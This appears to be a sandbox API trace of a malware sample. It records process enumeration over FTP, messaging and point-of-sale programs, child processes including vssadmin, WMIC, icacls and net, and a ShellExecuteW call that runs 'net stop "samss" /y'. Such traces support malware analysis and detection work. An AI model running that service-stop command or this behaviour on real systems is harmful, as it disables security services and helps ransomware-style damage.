	[0219.381] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0219.385] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0219.388] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0219.391] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0219.394] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0219.398] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0219.402] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0219.944] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0219.948] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0219.951] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0219.954] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0219.958] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0219.962] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0219.966] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0219.970] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0219.974] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0219.977] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0219.980] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0219.984] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0219.987] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0219.990] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0222.657] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0222.660] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0222.663] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0222.666] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0222.669] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0222.671] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0222.674] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0222.677] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0222.680] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0222.683] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0222.685] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0222.688] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0223.206] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0223.546] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0223.549] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0223.552] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0223.555] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0223.558] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0223.561] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0223.565] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0223.567] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0223.570] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0223.573] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0223.576] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0223.941] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0223.944] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0223.946] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0223.950] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0223.953] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0223.956] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe6, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0223.959] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x82, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0223.962] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0223.965] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.968] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0223.972] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0223.975] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0223.978] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.981] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.984] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0224.477] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0224.480] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0224.484] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0224.487] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0224.490] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0224.494] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.497] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0224.500] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0224.503] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x28c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2534, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0224.506] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x28c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2534, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 0
	[0224.508] CloseHandle (hObject=0x6d8) returned 1
	[0224.509] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29bb90
	[0224.763] EnumServicesStatusW (in: hSCManager=0x29bb90, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0224.767] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0224.770] EnumServicesStatusW (in: hSCManager=0x29bb90, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x17b5, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0224.773] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0226.924] Sleep (dwMilliseconds=0x96) 
	[0232.415] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.083] Sleep (dwMilliseconds=0xc350) 
	[0244.241] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x76c
	[0245.724] Process32FirstW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0245.727] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0245.730] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0245.733] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0245.735] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
